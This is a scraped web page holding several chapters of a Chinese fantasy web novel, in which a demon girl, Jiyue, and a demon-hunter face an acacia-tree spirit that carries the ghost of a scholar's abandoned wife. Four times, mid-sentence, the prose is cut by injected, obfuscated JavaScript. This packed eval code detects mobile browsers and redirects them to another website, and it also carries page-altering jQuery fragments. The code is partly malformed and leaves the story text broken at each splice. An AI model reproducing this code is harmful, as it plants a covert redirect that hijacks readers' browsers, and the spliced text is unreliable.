她不笑还罢,这一笑,正如一朵娇花迎风初绽,所有人都感到一阵晕眩,好像被强光晃了眼睛。 连杨鸣珂都止了哭泣,呆望着她。 季月心里则在盘算,一个韩思年、一个哭包杨鸣珂,还有昨天那个沈大人,英武者有之,文弱者有之,各有各的潇洒风流,三人放在一起,真可谓赏心悦目。 看来人间还是值得来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084214|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 韩思年瞥见杨鸣珂双眼发直,胸中升起一股无名火,有心当众臊一臊他。 “咳咳,我记得师兄从前,也是如此这般盯着小薇看。夫子见了,说你心术不正,赏了十记手板。” 杨鸣珂一呆。 “小薇最后奄奄一息被扔出门的时候,你倒是不敢看了。” “我……我……” “把眼泪擦擦吧。小薇被打一事,夫子是非不分,我们几个也都是懦夫,谁都没资格哭她。” 杨鸣珂腾地一下站起来,众人以为他被韩思年激怒,要冲上去理论,谁知他大喊一声,“师弟说的是,似我这般懦夫,还有何脸面活在世上?” 说罢大喝一声,对准书案一角,一头撞去。 络腮胡衙役眼疾手快,拦腰一把抱住。杨鸣珂胡乱挣扎,带着他滚倒在地。 他开始了新一轮嚎哭。 衙役想把人按住,他偏偏像条泥鳅一样扭来扭去,撞翻三张桌子,两条板凳。笔墨纸砚掉了一地。 季月看呆了。 韩思年不知何时走到身边,“季姑娘不要在意,我这位师弟天性如此,跟他相处久了,就见怪不怪了。” 季月点点头。 “昨日季姑娘从天而降之事,已成南安县的一段传奇。不知姑娘在何处出生长大,师从何人,如何猜出天下第一难解的字谜?” 季月目不转睛,盯着地上拧作一团的两人。 “不怕姑娘笑话,我们师兄弟几个苦范老夫子久矣。你独自从异乡投奔而来,对这位从未谋面的夫子,想必怀有复杂的感情吧? “此处嘈杂,不是说话的地方。姑娘可愿与韩某去河边一叙?” 季月还未答话,就听到一声斩钉截铁的“不行”。 回头一看,沈灵均不知何时到了,抱着剑站在门口,面色凝重。韩思年被他锐利的眼风一扫,只觉得后脖子的汗毛根根立了起来。 “沈大人怎么来了?” “韩公子,若是来抄录古籍的,请到衙役处登记。”他望了望地上不停翻滚的杨鸣珂和衙役,眉头微皱,“这是在做什么?” 季月抢着说,“他们在打架!” 沈灵均不动声色地走到她身边,用肩膀隔开韩思年,低声问,“打架好看吗?” “好看。” 沈灵均向众人道,“扰乱秩序,影响抄录之人,不得再进琳琅阁。” 他的声音不大,却自有一股威严。嘈杂的院子瞬间安静下来。 杨鸣珂停止了挣扎,躺在地上喘粗气。那络腮胡衙役被他踹了好几脚,直想破口大骂,见沈大人来了,硬生生忍住。 沈灵均盯着季月,“沈某有几桩事要与姑娘商议,还请借一步说话。” 季月又没听懂,“借什么?” “……随我去河边走走。” 季月转转眼珠,反正架打完了,此处也没什么可看的。 “哦,好吧。” 众目睽睽之下,沈大人和琳琅阁新任主人并肩离去。 书生们的八卦之心并不比姑娘们少,刚看完一场好戏,就迫不及待地议论开了。 韩思年望着他们的背影,摸不着头脑,一个劲地嘀咕,“为什么和他去就可以,和我去就不行……” 8. 此树最相思(二) 玉川蜿蜒数十里,岸边垂杨蘸水,烟柳画桥,四季皆有美景。 沿河商铺林立,小贩成行,兜售各式糕饼点心、饮子瓜果、钗环饰物、古董珍玩。 季月瞧得目不暇接,看什么都觉得新奇。 蓦地见一老者,用竹筐挑着一担荷花,徐徐走来。那荷花粉白碧玉,花瓣上沾了晶莹露水,阳光下煞是可爱。 季月奇道,“花也能卖?” 那老者听了,笑道,“这是今年最后一担荷花,卖完就没咯。姑娘来一支?” 季月被白胡子老头坑了全部身家,决心狠狠杀价,一雪前耻。 她拿起最大的一支,单刀直入地问,“能便宜点吗?” 这花平日里卖十文钱一支,老者见季月美貌过人,后面又跟着衙门的沈大人。咬咬牙,说道,“二十文。” 季月见老者十分勉强的模样,还以为占了便宜,笑眯眯地把花抱在怀里,才想起没有带钱。 她眼神亮晶晶地朝沈灵均看过来,“沈大人,我忘带钱了。” 沈灵均和她对视半晌,默默付了账。 走走停停,不到一盏茶功夫,季月手里就多了扇子、面具、钓竿、泥娃娃、解暑的薄荷饮子。 沈灵均捏着干瘪的钱袋,愈发迷惑。 这大妖不会是专程来人间坑他的吧。 他瞅着个空子,提起话头。 “眼下有三桩事,需要和姑娘商议。” “什么事?” “第一桩是范老夫子的后事。他走得突然,又恰逢琳琅阁接连出事,所以谨慎起见,将他的尸身抬回衙门,由仵作验尸,现在已有结果:老夫子年事已高,摔倒后体内淤血未清,又受了惊吓,急火攻心而亡。至于他的身后事,不知季姑娘作何打算? 季月睁大眼睛,脸上一片茫然。 沈灵均见如此美丽的脸上露出如此呆滞的表情,忍不住笑了一下。 “不如请韩公子帮忙操办?他身份合适,又比另外两个弟子稳重些。” “哦。” “季姑娘还未通知家人吧?听说令尊令堂几年前从西河县搬去了昌平县。可是要往那边寄信?” 季月从玩具摊上拿起一只雕花葫芦,对着光细看。 她不答,沈灵均也不催。反正信都已经寄了。 他出门前刚刚收到飞鸽传书。范老夫子的女儿女婿先前在西河县贩过瓷器、布匹,都不顺利,六年前跟随一个朋友,去昌平县开丝绸铺子。他便又寄了一封信去昌平县打听。 打听归打听,他并不急于把人请来。那夫妇俩要是听说祖产被妖所占,不知会吓成什么样子。 沈灵均话锋一转,“第二桩是范老夫子动用私刑,殴打奴仆致死案。” 季月放下葫芦。 “小薇真的死了?” “是。我去了她家。小薇被赶出琳琅阁后伤口感染,发起了高热,救治不及,几日后不幸殒命。范老夫子人虽不在了,但他动用私刑,触犯律法,人证物证俱在。我会禀明徐知县,审理此案。” 季月奇道,“审理……你们有办法让小薇活过来?” “季姑娘说笑了。人死不能复生。但是非公道,自在人心。衙门可以为小薇讨回一些银两作为赔偿,虽不足以慰藉丧女之痛,但她家境贫寒,也算是雪中送炭了。” 季月大为惊异。原来人间还有这样的法子。要是绿牡丹每吃掉一只妖,就要赔一笔钱,还不把她赔死! “还是你的主意好。那杨鸣珂和韩思年提起小薇,一个哭,一个叫,怎么就没人想到这切实的办法?” 沈灵均微笑,“莫要高兴得太早。这赔偿要由琳琅阁出。范老夫子临终前把家业都留给你了。他的财产你可清点过?” 季月一惊,怎么把这么重要的事给忘了。自己在妖界的一家一当都给了白胡子老头,到了人间,要认真攒钱才是。 “我回去就清点。还有什么事?” “第三桩是你自己的事。今后有何打算,想去什么地方?” 这才是沈灵均真正想问的话。 季月偏过头去,看一只白蝴蝶绕着柳枝儿打转。 “没什么打算。只想躺平。” 沈灵均自然不信。 “为何非要躺在南安县?” 她盯着他,“这里和别处,有区别吗?” 沈灵均对上那双眼睛,突然有些羞惭。 今早醒来的时候,他还暗暗盼望她自行消失。只要离了南安县,她就是别人的麻烦,而不是他的麻烦了。 怎会生出这样投机取巧的念头?若自己解决不了,别的捉妖师一样解决不了。祸水东引,逃避责任,实非君子所为。 他定了定神。 “季姑娘觉得此地如何?” 季月掂了掂满手的东西,笑道,“还不错。” 沈灵均待要再问,季月发现了一个风筝铺,话头就此断了。 黄昏时分,季月捧着满怀的东西往回走,一路上盘算着要做的事。 院子被书占满了,得收拾一间屋子出来,既能睡觉,也能摆这些小玩意儿。每样东西,都要摆在合适的地方。 最最要紧的,得赶快把范老夫子的财宝清点一下。 过了桥,拐过一个弯,远远见到杨鸣珂站在琳琅阁门口,徘徊不前。 他手里举着个酒壶,影子被夕阳拉得老长,远远望去,颇有失意寂寥之感。 见她来了,眼睛一亮。 “季姑娘,你终于回来了!” “你找我有事?” 杨鸣珂扬起手里的酒壶,“上好的雪里春,邀姑娘共饮。” 大门锁了。衙役早先给她留了一把钥匙。季月找出钥匙,鼓捣了半天,才把门锁打开。 琳琅阁里没人。书生们都走了。油布把高高的书堆盖得严严实实,四角各压了一块大石头防风。 院子一角的白石桌椅还没被移走。杨鸣珂掸了掸桌上的灰,摸出两只酒杯,斟满,做了个请的动作。 季月从没闻过酒香,出于好奇,抿了一口。 是一种辛辣的水,入口极涩,在舌尖停留片刻,竟带出一股回甘。滋味还不错。 季月一饮而尽。 杨鸣珂赞道,“姑娘好气魄。” 他又把酒满上。两人举杯对饮,不知不觉中,一壶酒便见了底。新月初升,风拂树叶沙沙作响,偶尔夹杂几声蝉鸣。 季月觉得体内的汁液起了微妙的变化,好像比平时浓稠了些,看四周景物,皆有一团浅浅光晕,脑子迷迷糊糊,身上又说不出的惬意。 杨鸣珂脸庞酡红,一双桃花眼像两汪满溢的泉,不时淌下水来。 “其实小薇,她长得极像我的亡妻。” “啊?” “我们是青梅竹马,少年夫妻。从来没有吵过架、红过脸。我娘子她既温柔,又贤惠,成婚后的三年,我们过得无忧无虑,日子堪比神仙。 可惜好景不长,我屡试不第,为了考取功名,离开家乡,来到这南安县,拜入范老夫子门下。从此与娘子分隔两地,饱受相思之苦。” 季月撑着头道,“你这人,白天哭小薇,晚上哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084215|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘子,不嫌累吗?” “季姑娘见笑了。我见到小薇的第一眼,就想起娘子。她与我成婚时,和小薇一样年纪,也是豆蔻年华,青涩动人,温柔腼腆,含羞带臊……” 季月打断,“你这么想念她,干嘛不回去?” 杨鸣珂十分委屈,“范老夫子严苛得很,弟子稍有忤逆就是一顿训斥,哪个敢随意告假?唯有托鸿雁传书,寄托相思。 “我们在家乡的院中种了一棵相思树,树冠高大,每年春天开出金黄色的花,到了秋天,结一树鲜红的相思果。娘子把果子随信一同寄来,我见到果子,便知道又熬过了一年。” 季月听得动容,“现在范老夫子不在了,你们可以团聚了。” 杨鸣珂哽咽道,“恐怕要等到黄泉路上,才能与娘子重逢。她曾与我说,绝不喝那孟婆的汤,要永生永世记得我们的深情。 “我娘子死于五年前昌平县大疫。” 季月一怔,难怪他方才说的是“亡妻”。 “我没能见到娘子最后一面,那时心如刀绞,几乎想随她一同去了。心中这道伤口,只怕永远无法愈合。故而见到与亡妻相似之人,难免移情……没想到小薇也是红颜薄命……可能我是个不祥之人吧。” 季月看他哭得梨花带雨,楚楚动人,顿起怜惜之意。 “伤心成这样,又是何必呢。往后别再移情就是了。” 杨鸣珂抬起头,脸上湿漉漉的,“季姑娘是劝我放下过去?” 季月的手搭在石桌边,指如削葱,莹白光洁。杨鸣珂已有七分醉意,壮着胆子,一把捏住。 掌心摸到她水水润润的肌肤,触感十分奇特,像握住枝头刚刚生出的嫩芽。 她竟没躲开。 季月并不觉得枝干被握住有什么大不了的。眼前这哭包对她毫无威胁。若说用眼泪淹死她,也得费些时日。 杨鸣珂却浑身战栗,喜不自胜,心想,这位季姑娘不光人长得美,脾性也好,不似一般女子那样扭扭捏捏。 “季姑娘……可有意中人?” 月华流转,她漆黑的眸子定在了自己脸上。 “若不嫌弃,在下愿与姑娘共结良缘。” 她恍若未闻,反而移开目光,注视着大门的方向。 杨鸣珂顺着她的眼神看去。 门口站着一棵树。 树冠高大,枝繁叶茂,盘根错节的根系却没有扎进土里,胡乱堆在地上。 杨鸣珂晃晃脑袋,这棵树,怎么如此眼熟? 那树突然提起左边的根系,向前迈了一步,右边的根系紧随而上,利落地跨过门槛。 季月此时只有一个念头,方才忘记锁门了。 大树三步两步冲到石桌前,树干上现出一个树洞,急速地扩张缩小,好像在一呼一吸。 杨鸣珂吓得一激灵,酒醒了大半,抓紧季月的手,厉声尖叫起来。 大树的树枝突然毫无预兆地伸出,刺向季月胸口。 季月若没有饮酒,反应就不会变慢。 若没被杨鸣珂抓着,就不会离树那么近。 若不是深信人间没有威胁,就不会毫无防备之心。 总之该当倒霉,她躲闪不及,被树枝在胳膊上扎了个洞。伤口中立刻汩汩流出汁液。 她还没怎么,杨鸣珂先吓破了胆,高喊着“妖啊!”,从树冠底下钻了过去,连滚带爬地窜出门去了。 那树见他逃了,也扔下季月,掉转树冠追了出去。 季月又好气又好笑,捂着伤口,自言自语,“相思树……真有意思。” 9. 此树最相思(三) 月明如洗,水波如练,一人一树沿着河岸没命似的狂奔。 相思树乱麻般的根系拍击地面,尖锐的枝条擦过道路两侧的民居,在砖土上刮出许多印子,庞大的树冠在风中伸展摇曳,好像一个发怒的人在挥手高喊。 街坊们听到响动,还以为是天上打雷了,打开窗户一看,夜空中明月高悬,连片乌云都没有,哪里来的雷。大家面面相觑,互相打听一番,一人一树竟又跑了回来。 原来杨鸣珂惊慌之下,跑错了路,又绕了回来。相思树在后面紧追不舍,其状如奔马,其势如破竹。 “下面那棵树在追着人跑?” “好像是。” 如此奇事前所未见,人人都想看得更清楚些。有好事者当场就追了出去,跟在树后面跑。 杨鸣珂绕到第五圈的时候,相思树后面已经多出一个十来人的小队,都是干力气活的精壮汉子,好几个还赤着上身,边跑边喊,“抓妖怪!抓妖怪!” 家家户户灯光大亮,把街道照得如同白昼,人们捧着瓜子花生,倚窗而望,像是观看马赛,更有妇人抱出乳臭未干的小孩儿,在窗口逗弄。 相思树目标坚定,只追赶杨鸣珂一个。他往东,树就往东。他往西,树就往西。 杨鸣珂跑得上气不接下气,浑身衣服都被汗湿透。有个相识的大叔好心出声提点,“杨公子,别光绕圈啊,往沈府的方向跑。” 一语惊醒梦中人。 杨鸣珂一个急刹车,手脚并用,爬上望月桥。 相思树追到桥头,整棵树向前倒伏,枝条勾住了杨鸣珂的腿,往回一拉。刺啦一声,杨鸣珂的裤子破了个大洞。 众人眼前一花,都见到一截白花花的大腿。 杨鸣珂被树枝撩到,魂已经吓掉一半,生死关头,哪还顾得上体面,尖叫着奔上朱雀街。 相思树一击未中,气得抖抖树冠,飞“步”上桥,粗壮的根系在石板上砸出一个个小坑。 沈府在南安县东边,和县衙离得不远,沿朱雀大街行至放生桥就须拐弯。杨鸣珂平时就不太识得道路,又是在夜晚辨不清方向,转错了几个弯,竟然又来到河边。 玉川边有一长堤,与湖心亭相连,是夏日赏荷的胜地。相思树步步紧追,把他逼上长堤。 尾随的人见他情势危急,高喊,“坚持住,我们去请沈大人。” 杨鸣珂能坚持到这里,已是借了雪里春的酒劲和一股子求生的本能,此时再也跑不动了,两股战战,摔倒在地。 相思树站在他面前,树干上裂开一个树洞,越长越大,大到能把整个人装进去。两根长满叶子的枝条伸出,像两条温柔的长臂,揽住了他。 看来它要把他活生生地吞下去。 杨鸣珂解脱不得,大声呜咽道,“沈大人救命啊!” 说时迟那时快,一柄飞剑破空而来,唰唰两声,干净利落地斩断了抓住他的枝条。 砰地一声,杨鸣珂摔在地上。 相思树吃痛,巨大的树冠剧烈摇晃,叶子掉了一地。 沈灵均飞身而上,接住斩妖剑,与那树缠斗起来。 他的剑术走的是轻灵快捷的路子,劈、砍、刺、挑,招式多变,层出不穷。一点白影在树叶间忽隐忽现。 相思树的枝条犹如无数长鞭,毫无章法地舞动,使的却是蛮力。 若论赏心悦目,自然是沈大人月下舞剑的英姿更胜一筹,可人妖打架拼的是功力。打了几个回合,沈灵均砍断了十几根树枝,自己身上也被划出一道道口子。 相思树毕竟枝繁叶茂,沈灵均却只有两条胳膊,一个不慎,被拦腰卷住。 他此时已看出这树的精魄所在,故而并不急着逃脱,而是掏出一张符,对准了树洞。 正要念引火决,耳畔忽然传来一个女子的呼唤,“夫君。” 嗓音凄婉,似有无尽哀伤。 沈灵均不由地一愣。 杨鸣珂的脸色也登时大变。 临阵对敌最怕分心。树枝猛地发力,把沈灵均甩上了天。斩妖剑脱手飞出,正好掉在杨鸣珂身前。 杨鸣珂本已委顿在地,不知哪里来的力气,抓起剑柄就冲向大树。 他哪里会使剑,闭着眼睛一通乱劈乱砍,砍了十来下空气,突觉手感有异。 原来那树卷住了沈灵均,把他当成一张肉盾,往剑尖上凑。 杨鸣珂胡乱砍出的一剑,正捅在沈灵均腿上,顿时血流如注。 他“啊”地惊叫一声,扔下了剑。 相思树的树冠朝天伸展,不停地抖动,似在哈哈大笑。 围观众人看到淌了一地的血,惊呼,“沈大人受伤了!” 沈大人可是南安县唯一的捉妖师。 若连他也对付不了这妖…… 不可能,世上怎么会有沈大人对付不了的妖呢? 沈灵均忍着剧痛,下意识地望向岸边。 岸边密密麻麻站满了人。他一眼就看见季月背靠一棵柳树,负手而立,小指上还勾着一个白瓷酒壶。 她在那儿站了好一会儿了。周身的强大妖气,几乎盖过了眼前这棵树的气息。 妖和妖之间,能相互感应。 树是她派来的吗? 她终于要露出真面目了吗? 季月一路跟来,旁观沈灵均耍了一手花里胡哨的剑法,对他略有改观:看来这捉妖师不止捉虫的本事,还会砍树。 不过眼下这个情形,他是讨不到便宜的。 妖的形体最适宜打架,若是化为人形,免不了会削减功力。 况且眼前这棵相思树,不止是树妖那么简单。 有别的东西混在里头。 白天沈大人慷慨解囊,一路替她付帐,于情于理,应该帮他一把。 季月微微一笑,手指轻弹,酒壶中一股水流激射而出,像游鱼一般滑过玉川河面,高高弹起,径直跃入树洞之中。相思树轻轻一颤,枝条突然停止了舞动,收拢垂下,一息之间,开出满树金黄色的花,在月色下莹然生辉。 沈灵均摔在地上,用手按住伤口。 那巨大的树洞里,有个黑影渐渐凝固成形。 一个荆钗布裙的女子走了出来,肤白胜雪,目若点漆,痴痴地望向杨鸣珂。 “夫君……” 沈灵均心中一凛。方才打斗时听到的,就是这个声音。 杨鸣珂嘴唇颤抖,“惠娘……” 惠娘缓缓走出树冠的阴影,单薄的身躯沐浴在月光之下,“夫君,我不远万里,跋山涉水,终于找到你了。你不是说,要与我两心合一吗?来……” 她伸手去搀他。温婉动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084216|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的脸庞上尽是柔情蜜意。 “这是我们亲手种下的相思树。你为我做的那么多情诗,每一首都提到这棵树。看到那树洞了吗?只要走进去,我们就永远都不会分开了。” 杨鸣珂恐惧已极。惠娘明明已经在五年前死于大疫,怎么会出现在这里? “夫君,你怎么不动?难道你真的移情别恋,宁愿与别的女人月下饮酒?你给我回的信,为什么越来越短?我说要来看你,为什么不让我来?……” 她越说越快,杨鸣珂弯着身子,慌乱地摸索地面。 再不阻止,惠娘就要说出些不该说的话了。 家丑不可外扬。只有美好的往事才值得挂在嘴上,反复咀嚼。其余的,都应该埋在地下。 世人皆知他重情重义,为何她偏偏要来拆他的台?! 娘子可以活在他的回忆里,谎言里,眼泪里,诗词里,就是不能活生生地站到他面前。 他一把推开惠娘,捡起地上的剑,毫不犹豫地捅进了她的心窝。 四下惊叫声连连。 惠娘低头看着剑,仿佛不敢相信。明明神情哀痛已极,眼中却流不出一滴泪。 自从惠娘出现后,相思树就悄立不动,好像一下子从一个怒发冲冠的莽夫,变成了一个温柔贤惠的妇人。 见到惠娘中剑,那树突然又活了过来,枝条狂乱地伸展,凌空横扫,抽在杨鸣珂脸上。 杨鸣珂捂着脸摔倒在地。 沈灵均轻叱一声,斩妖剑从惠娘胸口倒飞而出,回到他手上。 惠娘心口破了个大洞,却没有倒下,仍是定定地看着杨鸣珂。 相思树举起最锋利的一条树枝,准备给他最后一击。 沈灵均终于念出了引火决。符纸上燃起一簇火苗,如离弦之箭,飞向树根。转瞬间,根系、枝干、叶片、连同金黄色的花朵皆被引燃,相思树成为一棵熊熊燃烧的火树。 它痛苦地扭动着,惠娘的身影在火光中渐渐隐去。 大树向前一扑,粗壮的树干正好压在杨鸣珂脸上。 “啊!” 隔着湖水,人人都闻到一股烤肉的焦臭味。 沈灵均此时若能站起来,便可救人。但斩妖剑何等锐利,伤口深可见骨,一时间爬不起来。 无奈之下,只得隔空劈了一掌。 相思树上的连理枝缠住杨鸣珂,像情人温柔的手臂,将他整个人拖入了玉川之中。 水面上刺啦一声,冒出大股白烟。 待到白烟散去,河面上倒映的月影重新拼合完整,什么都没有浮起来。 沈灵均忍痛已到极限,额头上全是汗珠,咬牙喊道,“快去下游……捞人……那杨鸣珂跌入水中,或许还有的救。” 众人如梦初醒,挤挤挨挨,沿着水流,一路找下去。 沈灵均从锦囊中找出两颗丹丸服下,运功让药效发散,又扯了一段葛布包扎伤口。这葛布上涂了师门灵药,止血有奇效。 原地打坐片刻,疼痛稍有缓解,手足仍是发软,浑身一点力气都提不起来。 可他不能倒下。南安县只有一个捉妖师。今晚的事,还没了结。 强撑着打量四周,岸边聚集的人群散了大半。有几个年轻姑娘正担心地瞧着他。 沈灵均眉头一皱。季月不见了。 10. 此树最相思(四) 一段枯木载沉载浮,随着水流逶迤而下,被漩涡带着打了个转,停在沿岸水草丰茂处。季月把壶中最后几滴残酒一饮而尽,对着河面唤道,“出来吧。” 枯木的表皮裂开,现出许多细小的枝节,生发长大,转眼间膨胀成一棵大树。这树的模样甚是凄惨,树皮脱落,花叶凋零,还发出一股焦臭味。 树干上裂开一个树洞。一道沙哑的声音响起,“为什么帮我?” 季月到此时才听到树妖自己的声音。听起来像个稚气未脱的小男孩。 “那你呢,为什么打我?” 树妖顿了顿,“是惠娘。她看见你与她夫君举止亲密,一时激愤,才逼迫我出手。” 树洞中现出一点荧光,有节奏地闪烁,好像人的心跳。 “她还在?” 荧光闪烁的频率越来越快。 “坚持不了多久了。”那沙哑的声音说道,“她本就只剩三分精魄,那捉妖师的剑和火都是至阳至刚之物,除非……” 树冠向季月的方向转了转。 “我才不会救呢,”季月傲然道,“谁让她不分青红皂白就动手?” 树妖急忙解释,“她只是想把你赶走。惠娘对她夫君用情至深,又是多年未见……” 季月做了个鬼脸,“原来如此啊。杨鸣珂也挺惦记你的。他跟我喝酒的时候说,没见到你最后一面,是他平生大恨。方才得了机会,亲手捅了你一剑,可算是弥补了遗憾。” 她故意说得阴阳怪气。荧光极快地闪烁了一阵,渐渐黯淡下去。 树妖气愤道,“杨鸣珂当年做的事,和拿剑捅也差不了多少。 “惠娘和他是结发夫妻,感情甚笃,当年两人共同种下一棵相思树,以示夫妻情重。然而成婚仅仅三年,杨鸣珂就离乡求学,一去不复返,留惠娘一人,日日在家苦等。 “惠娘不识字。每回写信都要请乡里的教书先生代笔,再送人家一篮鸡蛋作为酬劳。乡居日子平淡无奇,她却事无巨细都要写上,米价涨了,狗下崽了,村口王家请喝喜酒……写的最多的就是我:树抽条了,树开花了,树结果了。 “起初,很快就收到回信。过得一两年,回信越来越短,间隔越来越长。要等上许多个月,才能收到只言片语。等信来的日子,惠娘常常站在院中,用手抚摸我的树皮,摸着摸着,便掉下泪来。 “她的泪落到树干上。我就是从那时起有了意识。” 季月听到这里,心中一动,莫非人间的妖,都是这么来的? “分隔三年后,惠娘受不了了,鼓起勇气问杨鸣珂,能不能去找他,却被严词拒绝。杨鸣珂说他追随的范老夫子严苛不近人情,每日侍奉在侧已是如履薄冰,求娘子不要给他添麻烦,又催促多寄些钱来。 “惠娘收到信后,颓了几日,变卖了几件压箱底的首饰,把钱给他寄去。 “后来就是可怕的昌平县大疫。起病之初,人的手臂上会发出红疹,又痛又痒,若不用药,皮肤会渐渐溃烂。等到浑身皮肤都烂完,那就神仙也难救了。 “村头王家最先染病,不到一个月,全家人都没了。村民们都慌了神,郎中开出几种能救命的药材,村里没有,只能托人去外头采买,价格自然是炒到天价。 “惠娘拿不出这么多钱,写信给丈夫求救,寄出后却如石沉大海。 “村里光景愈来愈糟,许多人染了病,还未染病的人家,还能拿得出钱的,都举家搬走了。到后来,全村十室九空。家里的米吃光了,连教书先生都病死了,惠娘每日把自己裹得严严实实的,去驿站等信。直到最后,驿站也关门了,都没有等来回音。 “到了山穷水尽之时,她拿出珍藏的信笺,一封封看过去。惠娘不认识字,信的内容却熟记于心。在天愿作比翼鸟,在地愿为连理枝。” 树妖语调苦涩,“惠娘到最后都没有染病。她是饿了三天以后,绝望投井而亡的。 “地下水系相连,惠娘一灵不昧,精魄溶于水中,被我的根系吸收。 “她在我身体里苏醒,对我说,快些修炼,带我去寻我夫君。 “村子里已经没有人了,连惠娘的尸骨都无人收敛。只有我还活着,静静地站在院中,吸收阳光雨露,日月精华。 “我的树干越来越粗壮,叶子越来越鲜亮,经常伸出枝条抓住飞鸟。熬过了一个冬天,生的气息重归大地。 “蚯蚓在地里钻进钻出。有一日,我感觉脚下松动了,一使劲,竟把根系拔了出来。 “我终于可以离开院子,自由行动了。 “惠娘高兴极了。我们就此出发,踏上千里寻夫的道路。 “惠娘从未出过村,连东南西北都辨不清,我又只能在夜间走动,好几次差点被人砍了当柴烧。 “五年来跋山涉水,历经坎坷,才找到这里。 “她要向杨鸣珂那个负心人讨个说法。为何如此薄情寡义,见死不救。那些两心合一的誓言,全都忘得一干二净了吗?” 树妖字字泣血,树洞里的荧光一闪一闪,似在伤心哭泣。 季月沉默良久,叹道,“这还用问吗?杨鸣珂多年来靠你供养,欠了你的钱,怕你讨回,所以才拿剑刺你。” 树妖没想到她解释得如此简单直白,“你不懂……” “我确实不懂。惠娘自己有脚,却不肯走,还要你一棵树长出脚来带她走,却是为何?” “惠娘胆子小,不敢违背丈夫,举目无亲,又没有钱……” 树妖说到一半,停住了。这些理由,细想起来,都不成立。再难,能比让一棵树拔出根系,翻山越岭更难吗? 季月又道,“丈夫走了,可以去找,村子危险,可以逃命,没有钱,总可以想些法子。村子遭难了,走出去才有生机。为何偏要死守着那宅子?” 荧光突然亮了起来,好像在辩驳什么。 树妖低声道,“惠娘说,她当时若是离开了,就收不到丈夫的信了。” 季月忍不住翻了个白眼。 “人间似你这样傻的,还有几人?” 树妖道,“这怪不得惠娘。自古节妇烈女,都是如此。一旦嫁了夫婿,无论他是死是活,是否变心,做妻子的都要守节到底。” “那你呢?” “我?” “你作何打算?” 树妖愣了。它一路带着惠娘历尽艰险,只有寻夫一个念头,从没想过别的事。 “我是因惠娘夫妻相思之情而生,现在夫妻情断,或许,我应当和他们同归于尽。” 仿佛感知它的心意,烧焦的树枝在风中寸寸折断,化为飞灰,其状狰狞可怖。 季月淡淡道,“为了那哭包,值得吗?” 树妖不答。 头顶,明月刚好露出云层,泄下一地清辉。 “我第一次拔出根系的时候,别提有多高兴了。从前,眼中永远是同一座山,同一片水。冰雹来了,躲不开,酷日来了,逃不掉。虽然修炼出了意识,却总是被束缚在小小一块土壤之中。” 树妖好奇道,“你也是树吗?” 季月笑而不答,“拔出根系以后,世界一下子变大了,我开始游历四方,去了许多地方,见了许多妖,经了许多事,打了许多架,妖力越来越强,最后终于打厌了……唔,扯远了。” 她注视树妖,以妖的年龄而论,它不过是个稚子孩童。 “人的腿,树的根,都是为自己长的。你本就是自由身,何苦为自己造个牢笼?没有什么能束缚你。从此以后,天大地大,任尔逍遥。” “可是,惠娘……” 萤火又亮了起来,这次不再闪动,紧贴着树洞深处,似是软语安慰。 相思树的枝条,一点点软了下来,垂在身侧,随风飘荡。 良久,树洞里发出光亮,一颗红色的果子缓缓升起,落入季月掌中。 树妖的声音如泣如诉,“惠娘说,她这一生痴心,就像个笑话。执念误人,不如化作这颗相思果。果子离了树,前尘往事,就此作罢。她要走了。” 树叶在风中飒飒舞动,光华渐渐熄灭。季月听到一声极轻极轻的叹息。 惠娘的精魄消失了。 树妖自有意识起,就与惠娘相伴,一朝分离,悲伤难抑,像个孩子似的哇哇大哭起来。 沙哑的哭声随着水流越传越远。 季月伸手抚摸树干,宽慰道,“有个白胡子老头跟我说过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084217|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人有来世。若是有缘,或许你们还能再见。” “真的吗?” 季月心想,谁知道呢,白胡子老头惯会说谎。 “大概是真的吧。” 树妖抽抽搭搭,“多谢你……” 不知过了多久,哭声渐渐止息。相思树的树冠收缩,枝条变短,变回一截枯木,一点点没入水中。 “我要去寻自己的天地了。” 季月对着水面,挥了挥手。 凭何相送,明月清风。 